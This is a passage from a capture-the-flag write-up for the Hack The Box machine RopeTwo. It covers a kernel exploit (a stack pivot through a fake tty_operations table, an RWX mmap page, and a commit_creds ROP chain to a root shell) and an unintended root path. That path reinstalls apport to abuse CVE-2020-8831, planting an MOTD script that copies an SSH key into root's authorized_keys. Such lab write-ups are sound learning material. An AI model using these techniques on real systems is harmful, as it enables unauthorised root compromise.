I’ll grab the first one, and now the code looks like:
// Stack Pivotsize_txchg_esp_eax=0x368c08+kernel_base;uint64_t*fake_tty_ops=malloc(248);fake_tty_ops[4]=xchg_esp_eax;output[0x83]=(uint64_t)fake_tty_ops;write_buf(id,0x420,output);uint64_tnew_stack=xchg_esp_eax&0xffffffff;// Set Permissions// Offsets// ROP// trigger ROPclose(ptmx);
The xchg instruction with 32-bit arguments will 0 out the rest of the 64-bit register. So the new stack won’t be on top of the xchg instruction, but at the same place but with nulls in the first 32-bits.
Permissions
From the kernel I have a lot of control, but the memory needs to be both writable and executable, so I’ll call to mmap. The call needs to be on a page boundary, so I’ll set the last three nibbles to 0, and pick a large enough size that the ROP has no worries about space. The docs show the flags here, and I’ll select MAP_PRIVATE because I want this change to only impact this process, MAP_ANONYMOUS because I’m working with shellcode here, and MAP_FIXED because I want the address to be forced. With MAP_ANONYMOUS, the fd parameter should be -1, and there’s no offset:
// Set Permissionsmmap((void*)(new_stack&0xfffff000),0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0);// Offsets// ROP// trigger ROPclose(ptmx);
ROP
The ROP itself will use a technique with prepare_kernel_cred(0) passed to commit_creds to set the current process to root. Then return to user space and spawn a shell using swapgs and a function with a shell.
I’ll define the offsets I need to use (not shown), and then go to the ROP. To start, I’ll return (always good to start a ROP with a ret gadget), and then call prepare_kernel_cred(0):
The code will put 0 into both R8 and RDX, then call the gadget to move the return from RAX to RDI, and then the last 0 if for the RBP pop. Then, with RDI containing the return from prepare_kernel_cred, it calls commit_creds.
Then the sysretq instruction will return to useland. This is typically used to return from a SYSCALL. I’ll need the return address in RCX, and the flags set in R11. I’ll write a short function I want to jump to as root:
Now all that’s left to do is trigger the ROP by closing the handle to /dev/ptmx. This should lead to /bin/sh running in this process, but if it fails, I’ll print a message and return 1:
The first team to solve this box used an unintended path that was quickly patched by the HTB team. The bug they identified allowed them to go from chromeuser to root in one exploit. One of the members of that team, jkr, helped me recreate the bug.
This box was released on 27 June 2020. In the apt logs, there’s a removal of apport two days later on 29 June:
The version removed was 2.20.10-0ubuntu27.3. Some Googling reveals CVE-2020-8831. As root on RopeTwo, I can reconfigure the box to be vulnerable to this path again.
Install Old apport
apport is a program designed to intercept crashes and record information so that debugging / troubleshooting can occur without having to recreate the crash itself.
To install this older vulnerable version of apport, I will use apt. I needed to first fix the sources file:
root@rope2:~#cat /etc/apt/sources.list
deb http://old-releases.ubuntu.com/ubuntu disco main universe multiverse restricted
deb http://old-releases.ubuntu.com/ubuntu disco-updates main universe multiverse restricted
Because the RopeTwo machine can’t talk directly to the internet, I’ll proxy apt through my Burp instance. I changed Burp on my local machine so that it listened on all interfaces, and not just localhost:
I’ll also set the http_proxy environment variable to tell apt to use this proxy:
apport will create a directory apport in that folder with a file, lock, when something segfaults. The vulnerability is in how it handles symlinks. I’ll create a link pointing /var/lock/apport to a directory I want to write in, like /etc/update-motd.d (I’ve shown exploiting writing to this directory before in Traceback). If I can get a file in that folder that I can write to, and then log in with ssh or su, then it will run as root.
Practice
As chromeuser on the box after re-installing apport as root, I’ll go into /var/lock . There is currently no apport directory:
I already have my public key in /home/chromeuser/.ssh/authorized_keys. I’ll just use this as a Bash script to copy that into /root/.ssh/authorized_keys:
Now I’ll SSH in as chromeuser again to trigger the MOTD script:
root@kali#ssh -i ~/keys/ed25519_gen chromeuser@10.10.10.196
Welcome to Ubuntu 19.04 (GNU/Linux 5.0.0-38-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Jan 15 19:07:21 UTC 2021
System load: 0.31 Processes: 317
Usage of /: 41.7% of 19.56GB Users logged in: 3
Memory usage: 29% IP address for ens160: 10.10.10.196
Swap usage: 0%
71 updates can be installed immediately.
0 of these updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings
pwned!
Last login: Fri Jan 15 19:05:14 2021 from 10.10.14.14
chromeuser@rope2:~$
The fact that it says “pwned!” just above the prompt shows that my exploit ran. I can SSH as root:
root@kali#ssh -i ~/keys/ed25519_gen root@10.10.10.196
Welcome to Ubuntu 19.04 (GNU/Linux 5.0.0-38-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Jan 15 19:08:09 UTC 2021
System load: 0.26 Processes: 322
Usage of /: 41.7% of 19.56GB Users logged in: 3
Memory usage: 29% IP address for ens160: 10.10.10.196
Swap usage: 0%
71 updates can be installed immediately.
0 of these updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings
pwned!
Last login: Fri Jan 15 19:05:25 2021 from 10.10.14.14
root@rope2:~#